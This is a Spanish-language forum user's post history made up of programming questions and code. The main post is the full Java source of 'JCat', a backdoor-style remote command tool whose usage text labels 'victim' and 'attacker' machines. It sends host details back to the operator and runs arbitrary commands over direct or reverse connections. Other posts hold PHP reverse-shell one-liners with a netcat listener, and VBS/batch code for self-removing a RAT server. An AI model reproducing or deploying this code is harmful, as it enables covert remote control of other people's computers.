|
Mostrar Mensajes
|
Páginas: 1 2 [3]
|
21
|
Programación / Java / ejecutar comando linux que vuelque el contenido en un archivo
|
en: 20 Enero 2013, 14:54 pm
|
Hola ando haciendo una aplicación que ejecute un comando en linux y que a la vez lo vuelque en un archivo por ejemplo ifconfig > test.txt. esta es la aplicación: public void getHardwareInfo() { String s = null; String todo=""; try { String so = System.getProperty("os.name"); String comando=""; if (so.equals("Linux")) comando = "ifconfig > /Users/Admin/Desktop/test.txt"; if (so.equals("Mac OS X")) comando = "system_profiler > /Users/Admin/Desktop/test.txt"; if (so.equals("Windows")) //mirar lo que obtiene en so en windows comando = "cmd /c ipconfig";
System.out.println(so); Process p = Runtime.getRuntime().exec(comando); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream()));
// Leemos la salida del comando System.out.println("Ésta es la salida standard del comando:\n"); while ((s = stdInput.readLine()) != null) { System.out.println(s); }
// Leemos los errores si los hubiera System.out .println("Ésta es la salida standard de error del comando (si la hay):\n"); while ((s = stdError.readLine()) != null) { System.out.println(s); } } catch (IOException e) { System.out.println("Excepción: "); e.printStackTrace(); System.exit(-1); }
}
|
|
|
23
|
Programación / Java / JCat Conexión Inversa y Directa
|
en: 16 Octubre 2012, 13:57 pm
|
JCat es una aplicación que la cree hace mucho, pero por no tener tiempo no he podido hacer el tutorial del manejo. Mas que nada les va a servir para aprender a utilizar Thread y Sockets que es lo mas importante en el. basicamente ejecuta comandos en las maquinas víctimas y devuelven el resultado en el atacante. Aqui les dejo un tutorial con el manejo del mismo http://www.multi-upload.me/c7ciux2h77bt/JCat%20Tutorial_multiupload-download-.pdf.htmles necesario tener la maquina virtual de Java evidentemente. luego lo compilan en linux con: javac JCat.java. y para iniciarlo tanto en win como el linux: java JCat. Y aqui el code. import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.net.ServerSocket; import java.net.Socket; import java.io.BufferedReader; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.Random; import java.net.InetAddress; /* * -Conexion Directa- Informacion: nos aprovechamos del flujo de salida del * cliente y del de entrada del servidor. Utilizamos el Cliente para enviar * datos Salida. El Servidor la recive y la procesa * * Ventaja: Ninguna. * * Desventaja: Al reiniciar el router cambiamos de IP y perdemos a la victima * hay que abrir un puerto en el router de la victima. * ----------------------------------------------------------------------------- * * -Conexion Inversa- Informacion: nos aprovechamos del flujo de salida del * Servidor y del de entrada del Cliente. Utilizamos el Servidor para enviar * datos por su Salida. El Cliente la recive y la procesa * * Ventaja: en la victima se predefine nuestra DNS Dinamica (cada x tiempo * actualiza la ip a la que esta apuntando y vuelve a apuntar a la nueva) el * puerto se habre en nuestro PC * * Desventaja: el puerto se habre en nuestro PC. * */ class JCat { public static int Port; public static String IP; public static void main(String[] args) { if (true) { if (args.length > 0) { //if (argsS1.equals("1") && argsS2.equals("1")) { if (args[0].equals("1") && args[1].equals("1")) { ConexionDirectaServidor a = new ConexionDirectaServidor(); a.start(); } //if (argsS1.equals("1") && argsS2.equals("2")) { if (args[0].equals("1") && args[1].equals("2")) { ConexionDirectaCliente a = new ConexionDirectaCliente(); a.start(); } //if (argsS1.equals("2") && argsS2.equals("1")) { if (args[0].equals("2") && args[1].equals("1")) { ConexionInversaServidor a = new ConexionInversaServidor(); a.setMode(2); a.start(); } //if (argsS1.equals("2") && argsS2.equals("2")) { if (args[0].equals("2") && args[1].equals("2")) { ConexionInversaCliente a = new ConexionInversaCliente(); a.start(); } if(args[2] != null){ Port = (Integer.parseInt(args[2])); } try{ if(args[3] != null){ IP = args[3]; }else{ IP = ""; } }catch(ArrayIndexOutOfBoundsException e){} }else { System.out.println(" "); System.out.println(" Uo "); System.out.println(" Mb$QU "); System.out.println(" MMMMMMMMMMMM$ "); System.out.println(" MMMMMMMMMMMM@$EIMMMMMMMMMM# "); System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMMMMMzi..v#M@ "); System.out.println(" MMMMMMMMMMMM@M@@@@@@#@$#$@MMMMM#@MME :MM@ "); System.out.println(" 0@MMMMMMM@@@MMMMMMMMMMMMMMMMMMMMMM91@MMMMi iM#@ "); System.out.println(" MMMMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMM .MMMME M#Q@ "); System.out.println(" #MMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMM$BMMMM$ 8MWQE$M "); System.out.println(" AMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@97c: 0MWWEE9W "); System.out.println(" :MMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MM#IoU#MMBBWW0Q6,.. "); System.out.println(" CMMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MMMMMM@$#$$WE7:,,. "); System.out.println(" .MMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@@#087i.... "); System.out.println(" MMM@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0niictYYvcv;,.. "); System.out.println(" 0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMB:.... "); System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMMM0t7MMMMM,.;i,. "); System.out.println(" XMMMMMMMMMMMMMMMMMMMMMM8Y, ,MMMM#.,;i.. "); System.out.println(" MMMMMMMMMMMMMMMMMMMMM#c. ... .MMMM8 ,;i.. "); System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMM$7..,. QMM@b..ii.. "); System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMMMM@z,,: :b$$QY;i,.. "); System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMMMMMM@Y YE BWEbWE;i,.. "); System.out.println(" MMMMMMMMMMMMM7.......,72B@MMMMMzQ@@@MM$o9;i,.. "); System.out.println(" MMMMMMMMMMMM,.,, ,vb#MM@EA@MM9Y;i,.. "); System.out.println(" MMMMMMMMMMM.,i,. .6W$1#MMM;i,.. "); System.out.println(" MMMMMMMMMM:,i:. 1#MMM;i,.. "); System.out.println(" $MMMMMMMMC.ii.. "); System.out.println(" YMMMMMMM@,:;,. "); System.out.println(" MMMMMMMU.;i,. JCat v1 "); System.out.println(" EMMMMMM7.;i.. .. Developed by MichB "); System.out.println(" MMMMMMC.c:, .I$MM@b1:..:.. 18/06/12 "); System.out.println(" XMMMMMz.;;. 7MMWSSA$M@2,.i:,. "); System.out.println(" QMMMM@.:;,.MM. ,b$9,.i:, "); System.out.println(" @MMMM6 :i.0@. :8C Ubo..i,. "); System.out.println(" @MMM@z.:.,Z#bE$8,. vSU,.i:. "); System.out.println(" EMMM@bi,..,:.. X1ti.;:. "); System.out.println(" ;@MM@#9Xi,.....inzn7,;i,. "); System.out.println(" YW@@##BbEbbZ8A6S7,i:,. "); System.out.println(" .X600QEb6ASCi,... "); System.out.println("\nEjemplo: Cliente envia comandos a Servidor y este le devuelve el resultado\n"); //cliente envia comando y recive respuesta del servidor System.out.println("Servidor Conexion Directa -> java JCat 1 1 5000 <- Victima"); System.out.println("Cliente Conexion Directa -> java JCat 1 2 5000 192.168.12.2 <- Atacante"); System.out.println("\nEjemplo: Servidor envia comandos al Cliente y este le devuelve el resultado\n"); //servidor envia comando y recive respuesta del cliente System.out.println("Servidor Conexion Inversa -> java JCat 2 1 5000 <- Atacante"); System.out.println("Cliente Conexion Inversa -> java JCat 2 2 5000 192.168.12.2 <- Victima\n"); System.out.println("\nModos del Servidor Conexion Inversa: \n(0) Significa que envia primero un comando al cliente X y otro diferente al cliente Y y asi sucesivamente;"); System.out.println("(1) Significa que envia un mismo comando y se ejecuta en todos los clientes conectados X,Y,Z;"); System.out.println("\tNo hay limite de clientes para los 2 Modos\n"); System.exit(-1); //} } } } } class ConexionDirectaServidor extends Thread{ private ServerSocket escucha3; private Socket conexion3; //private static Thread hebraServidor3; //private static String mensaje3; private int veces=0; static ArrayList<Integer> HASHs = new ArrayList<Integer>(); ConexionDirectaServidor(){} ConexionDirectaServidor(int veces){ this.veces = veces; } public void run () { try { int puerto = JCat.Port; //int puerto = 5000; escucha3 = new ServerSocket(puerto); BufferedReader br = null; String sTexto = ""; System.out.println("\n*---------------------------------*"); System.out.println("* Conexión D. SERVIDOR *"); System.out.println("*---------------------------------*\n"); System.out.println("Escuchando en el puerto: " + puerto +"\n"); System.out.println("Servidor a la escucha...\n"); System.out.println("\nEscriba en el Cliente..."); if(puerto == 0){ System.out.println("Muy seguido esperando 3 segundos antes de intentar poner de nuevo el servidor a la escucha\n"); try { this.sleep(3000); } catch (InterruptedException exa) { System.out.println(exa); } System.out.println("Intento: "+veces+"\n"); ConexionDirectaServidor a = new ConexionDirectaServidor(veces++); a.start(); } while (true) { conexion3 = escucha3.accept(); //DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream()); Runnable nuevoCliente = new HiloDeCliente(conexion3); Thread hilo = new Thread(nuevoCliente); hilo.start(); try { hilo.sleep(2000); } catch (InterruptedException exa) { System.out.println(exa); } } } catch (IOException ex) { System.out.println("Mensaje de Error! -> "+ex); if(ex.equals("java.net.BindException: Address already in use")){ System.out.println("Posiblemente se encuentra está u otra aplicación ocupando este puerto"); } } } } // Implementa Runnable para poder ser lanzada en un hilo aparte class HiloDeCliente implements Runnable { // En el constructor recibe y guarda los parámetros que sean necesarios. // En este caso una lista con toda la conversación y el socket que debe // atender. private String osName = System.getProperty ( "os.name" ); private String Arch = System.getProperty ( "os.arch" ); private String Version = System.getProperty ( "os.version" ); private String SP = System.getProperty ( "sun.os.patch.level" ); private String Country = System.getProperty ( "user.country" ); private String dirUserHome = System.getProperty ( "user.home" ); private String Lang = System.getProperty ( "user.language" ); private String userName = System.getProperty ( "user.name" ); private String VersionJV = System.getProperty ( "java.vm.version" ); private String Direccion; private String Direccion2; private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV, Direccion, Direccion2}; private Socket conexion3; private int HASH; public HiloDeCliente(Socket socket) { try{ InetAddress address = InetAddress.getLocalHost(); String Direccion = address.getHostAddress(); String Direccion2 = address.getCanonicalHostName(); } catch (java.net.UnknownHostException e) { } conexion3 = socket; } public void run () { try { DataInputStream entrada = new DataInputStream(conexion3.getInputStream()); DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream()); System.out.println("\nCliente Conectado..."); HASH = entrada.readInt(); System.out.println("Identificador del Cliente: "+HASH); if(!ConexionDirectaServidor.HASHs.contains(HASH)){ ConexionDirectaServidor.HASHs.add(HASH); for(int i=0;i<arrayDatos.length;i++) if(arrayDatos[i]==null) arrayDatos[i]="null"; salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2] + "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: " + arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8] + "\n| Direccion: " + arrayDatos[9] + "\n| Direccion2: " + arrayDatos[10]); } String comando = entrada.readUTF(); System.out.println("Comando del Cliente: " + comando); new Ejecutor().executeCommand(comando, false, conexion3); // Código para atender al cliente. } catch (IOException ex) { //System.out.println(ex); } //System.out.println("Cierre de conexion del cliente"); } } class ConexionDirectaCliente extends Thread { private Socket conexion4; private static Thread hebraServidor4; private static String mensaje3; private Random rnd = new Random(); private int HASH; private boolean continuar=true; private int contador; ConexionDirectaCliente(){ HASH = (rnd.nextInt() * 10000); contador=0; } public void run() { //System.out.println("Ejemplo Conexion Directa Yo soy Cliente"); //System.out.println("Solo Envio al Servidor"); System.out.println("\n*---------------------------------*"); System.out.println("* Conexión D. CLIENTE *"); System.out.println("*---------------------------------*\n"); if(continuar){ while (true) { String ip = JCat.IP; //String ip = "192.168.13.240"; int puerto = JCat.Port; //int puerto = 5000; try { conexion4 = new Socket(ip, puerto); BufferedReader br = null; String sTexto = ""; DataInputStream entrada = new DataInputStream(conexion4.getInputStream()); DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream()); //enviamos salida.writeInt(HASH); //salida.writeUTF(System.getProperty("os.name")); //salida.writeUTF(System.getProperty("user.name")); //recivimos //System.out.println("lo recivo yo el Cliente " + entrada.readUTF()); br = new BufferedReader(new InputStreamReader(System.in)); System.out.println("Conectado al Servidor...\n"); System.out.println("-----------------------------------"); System.out.println("| Mi Identificador: "+HASH); System.out.println("-----------------------------------"); if(contador==0){ System.out.println("| [+] Información del Servidor [+] |"); System.out.println("-----------------------------------"); System.out.println(entrada.readUTF()); System.out.println("-----------------------------------"); contador++; } try { System.out.printf("\tComando: %s",sTexto = br.readLine()); //enviamos salida.writeUTF(sTexto); } catch (IOException io) { io.printStackTrace(); } //COMANDOS System.out.println(entrada.readUTF()); } catch (IOException ex) { //break; if(ex.getMessage().equals("Can't assign requested address")){ System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n"); try { this.sleep(3000); } catch (InterruptedException exa) { System.out.println(exa); } ConexionDirectaCliente a = new ConexionDirectaCliente(); a.start(); continuar = false; break; } } } } } } class ConexionInversaServidor extends Thread { private ServerSocket escucha3; static Socket conexion3; //private static Thread hebraServidor3; //private static String mensaje3; //private String MSJ=null; //static primera a; //static String textoTeclado; static ArrayList<Integer> HASHs = new ArrayList<Integer>(); static ArrayList<Socket> p = new ArrayList<Socket>(); static int Mode; private boolean continuar=true; private int HASH; boolean debugging=true; int contador=0; public void setMode(int predefinido){ try{ try{ if(predefinido==2){ BufferedReader br = null; String sTexto=""; System.out.println("\nMode: (0)[ 1 a 1; 1 a 2; etc ], (1)[ Multicast 1 a todos]"); br = new BufferedReader(new InputStreamReader(System.in)); System.out.printf("\tModo: (%s) \n",sTexto = br.readLine()); Mode=Integer.parseInt(sTexto); }else{ Mode=predefinido; } } catch (NumberFormatException exe) { System.out.println("Mensaje de Error! -> "+exe.getMessage()); } } catch (IOException ex) { System.out.println("Mensaje de Error! -> "+ex.getMessage()+" Se espera 0 o 1"); } } public void run() { try { int puerto = JCat.Port; escucha3 = new ServerSocket(puerto); System.out.println("\n*---------------------------------*"); System.out.println("* Conexión I. SERVIDOR *"); System.out.println("*---------------------------------*\n"); System.out.println("Escuchando en el puerto: " + puerto +"\n"); if(puerto == 0){ continuar = false; System.out.println("Muy seguido espera 3 segundos antes de poner de nuevo el servidor a la escucha\n"); try { this.sleep(3000); } catch (InterruptedException exa) { System.out.println(exa); } ConexionInversaServidor a = new ConexionInversaServidor(); a.setMode(Mode); a.start(); } if(continuar){ System.out.println("Servidor a la escucha...\n"); Teclado Teclad = new Teclado(); Teclad.start(); while (true) { conexion3 = escucha3.accept(); DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream()); DataInputStream entrada = new DataInputStream(conexion3.getInputStream()); //System.out.println("INICIO"); HASH =entrada.readInt(); System.out.println("-----------------------------------"); System.out.println("| ID Cliente: "+HASH); System.out.println("-----------------------------------"); if(!HASHs.contains(HASH)){ HASHs.add(HASH); System.out.println("| [+] Información del Cliente [+] |"); System.out.println("-----------------------------------"); System.out.println(entrada.readUTF()); System.out.println("-----------------------------------"); } if(contador==0){ contador++; } //System.out.println("Tamaño -> "+p.size() ); primera Conexion = new primera(conexion3); //Thread hilo1 = new Thread(Conexion); Conexion.start(); p.add(conexion3); if(debugging) System.out.println("añadidos al array "+p.size()); //System.out.println("FIN"); } } } catch (IOException ex) { ex.printStackTrace(); } } static public void envioTextoTeclado0(String sTexto) { //System.out.println("Comprobacion 2 Tamaño -> "+p.size() ); if(Mode == 0){ try{ for(int i=0;i<p.size();i++){ Socket con = p.get(i); //System.out.println("Cliente: "+i); DataOutputStream salida = new DataOutputStream(con.getOutputStream()); DataInputStream entrada = new DataInputStream(con.getInputStream()); salida.writeUTF(sTexto); System.out.println(entrada.readUTF()); synchronized (p.get(i)) { //System.out.println("Soy 2 desperte a uno"); p.get(i).notify(); //System.out.println("Soy 2 y continua uno"); } p.remove(p.get(i)); } //System.out.println("hashcode -> "+p.get(0).hashCode() ); //System.out.println("hashcode -> "+p.get(1).hashCode() ); } catch (IOException ex) { ex.printStackTrace(); } } if(Mode == 1){ try{ for(int i=0;i<p.size();i++){ Socket con = p.get(i); //System.out.println("Cliente: "+i); DataOutputStream salida = new DataOutputStream(con.getOutputStream()); DataInputStream entrada = new DataInputStream(con.getInputStream()); salida.writeUTF(sTexto); System.out.println(entrada.readUTF()); } for(int i=0;i<p.size();i++){ synchronized (p.get(i)) { //System.out.println("Soy 2 desperte a uno"); p.get(i).notify(); //System.out.println("Soy 2 y continua uno"); } } //p.remove(p.get(0)); //p.remove(p.get(1)); //System.out.println("hashcode -> "+p.get(0).hashCode() ); //System.out.println("hashcode -> "+p.get(1).hashCode() ); } catch (IOException ex) { ex.printStackTrace(); } } } /** */ } class primera extends Thread { private Socket conexion3; boolean debugging=true; primera(Socket socket){ conexion3 = socket; if(debugging) System.out.println("Me llamo "+getName()); } public void run() { synchronized (conexion3) { if(debugging) System.out.println("uno me voy a dormir"); try { conexion3.wait(); } catch (InterruptedException ex) { System.out.println(ex); } if(debugging) System.out.println("uno me desperte"); if(ConexionInversaServidor.Mode == 1){ if(debugging) System.out.println(ConexionInversaServidor.p.get(0).hashCode()); ConexionInversaServidor.p.remove(ConexionInversaServidor.p.get(0)); if(debugging) System.out.println("Tamaño reducido: "+ConexionInversaServidor.p.size()+"\n"); } } } } class Teclado extends Thread { private BufferedReader br = null; private String sTexto = ""; private int contador=0; public void run(){ boolean t=true; while(t){ try{ System.out.println("nombre:"+getName()); try { this.sleep(300); } catch (InterruptedException exa) { System.out.println(exa); } System.out.println("Teclee Comandos:"); br = new BufferedReader(new InputStreamReader(System.in)); System.out.printf("\tComando: %s \n",sTexto = br.readLine()); if(sTexto=="fin"){ t=false; System.exit(-1); } ConexionInversaServidor.envioTextoTeclado0(sTexto); } catch (IOException ex) { System.out.println(ex); } } } } class ConexionInversaCliente extends Thread { private Socket conexion4; private static Thread hebraServidor4; private Random rnd = new Random(); private int HASH; private int contador; private String osName = System.getProperty ( "os.name" ); private String Arch = System.getProperty ( "os.arch" ); private String Version = System.getProperty ( "os.version" ); private String SP = System.getProperty ( "sun.os.patch.level" ); private String Country = System.getProperty ( "user.country" ); private String dirUserHome = System.getProperty ( "user.home" ); private String Lang = System.getProperty ( "user.language" ); private String userName = System.getProperty ( "user.name" ); private String VersionJV = System.getProperty ( "java.vm.version" ); private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV}; ConexionInversaCliente(){ HASH = (rnd.nextInt() * 10000); contador=0; } public void run() { String ip = JCat.IP; int puerto = JCat.Port; try { System.out.println("\n*---------------------------------*"); System.out.println("* Conexión I. CLIENTE *"); System.out.println("*---------------------------------*"); while (true) { conexion4 = new Socket(ip, puerto); try { DataInputStream entrada = new DataInputStream(conexion4.getInputStream()); DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream()); salida.writeInt(HASH); if(contador==0){ contador++; for(int i=0;i<arrayDatos.length;i++) if(arrayDatos[i]==null) arrayDatos[i]="null"; salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2] + "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: " + arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8]); } System.out.println("\nConexion realizada..."); System.out.println("\nEscriba en el Servidor..."); System.out.println("Mi Identificador: "+HASH); String comando = entrada.readUTF(); System.out.println("Comando del Cliente: " + comando); new Ejecutor().executeCommand(comando, false, conexion4); try { this.sleep(2000); } catch (InterruptedException exa) { System.out.println(exa); } } catch (IOException ex) { System.out.println(ex.getMessage()); } } } catch (IOException ex) { System.out.println("Mensaje de Error! -> "+ex.getMessage()); if(ex.getMessage().equals("Can't assign requested address")){ System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n"); try { this.sleep(3000); } catch (InterruptedException exa) { System.out.println(exa); } ConexionInversaCliente a = new ConexionInversaCliente(); a.start(); } if(ex.getMessage().equals("Connection refused")){ System.out.println("No encontrado servidor a la escucha\n"); } } } } class Ejecutor{ private String commandShell; private Socket conexion3; public void executeCommand(String command, boolean flagbackground, Socket socket) { commandShell = null; conexion3 = socket; try { DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream()); String osName = System.getProperty("os.name"); if (osName.equals("Windows NT")) { commandShell = "cmd.exe /C " + command; } else if (osName.equals("Windows 95") || osName.equals("Windows 98")) { commandShell = "start " + command; } else { if (flagbackground) { commandShell = "" + command + " &"; } else { commandShell = "" + command; } } try { Process proc = Runtime.getRuntime().exec(commandShell); BufferedReader brStdOut = new BufferedReader(new InputStreamReader(proc.getInputStream())); BufferedReader brStdErr = new BufferedReader(new InputStreamReader(proc.getErrorStream())); String str;String strTodo= ""; while ((str = brStdOut.readLine()) != null) { strTodo+=str+"\n"; } salida.writeUTF("\tResponse: "+strTodo); brStdOut.close(); brStdErr.close(); } catch (IOException eproc) { System.out.println("Comando desconocido "); salida.writeUTF("\tResponse: Comando desconocido\n"); } } catch (IOException ex) { System.out.println(ex.getMessage()); } } }
Fuente: code-disaster.blogspot.com
|
|
|
24
|
Programación / PHP / Re: duda PHP
|
en: 5 Julio 2012, 22:03 pm
|
estas seguro que te conecta teniendo netcat a la escucha? <php system('php -r \'$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");\''); ?>
por que acabo de probarlo en un OS X y no me funcionó. en que S.O. tienes el servidor con php?
|
|
|
25
|
Programación / PHP / duda PHP
|
en: 4 Julio 2012, 23:22 pm
|
Hola foro tengo una duda si pongo netcat a la escucha en el puerto 5000: netcat -l -p 5000 -vv
y en otra terminal ejecuto esto: php -r '$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");'
me devuelve una shell, Todo correcto ahora si creo una archivo.php y hago esto: //NO ME FUNCIONA, No devuelve la shell <?php $ultima_linea = system("php -r '\$sock=fsockopen(\"127.0.0.1\",5000);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",$retval); ?>
o esto: //NO ME FUNCIONA, No devuelve la shell, Péeero si conecta.... <?php exec("/bin/sh -i <&3 >&3 2>&3"); ?>
|
|
|
26
|
Programación / Scripting / [MOD] duda sobre vbs
|
en: 23 Septiembre 2010, 02:22 am
|
Hola creo que este es el apartado del foro sobre preguntas de programacion si no disculpen bueno al caso resulta que estaba buscando una forma de que cuando le ordenase a mi cliente RAT que se desistalase el server pues eso que se borre pero claro primero se tiene que cerrar el proceso y esto me esta dando vueltas y vueltas. Pensé en una forma pero no se si se podra no soy muy experto en VB6 y bueno pensé en si se podría añadir al SRC del server un archivo .vbs exactamente este y bueno lo de ya que se copiase en un ruta TEMP? Option Explicit On Error Resume Next Dim WshShell, objEnv dim variable dim prog Set WshShell = CreateObject("WScript.Shell") Set objEnv = WshShell.Environment("Process") Set variable = CreateObject("Scripting.FileSystemObject") Set WScript = CreateObject("WScript.Shell") Set prog = WshShell.exec("cmd /c taskkill /F /IM server.exe") WScript.Sleep 2000 variable.DeleteFile objEnv("TEMP") & "\Batch.bat" variable.DeleteFile objEnv("TEMP") & "\server.exe" variable.DeleteFile objEnv("TEMP") & "\xxx.vbs" este code funciona de perla luego hize otro en batch @echo off taskkill /f /im server.exe FOR /l %%a IN (%1,-1,1) do (ECHO 1 >NULL %%as&ping -n 5 -w 1 127.0.0.1>NUL) del /Q /F %temp%\server.exe del /Q /F %temp%\Batch.bat del /Q /F %temp%\xxx.bat
pero igual en los 2 casos aparece momentaneamente una pantalla de msdos y bueno seguro que hay otras formas de desistalar el server sin una fea imagen de msdos Salu2! y gracias de antemano
|
|
|
|
|
|
|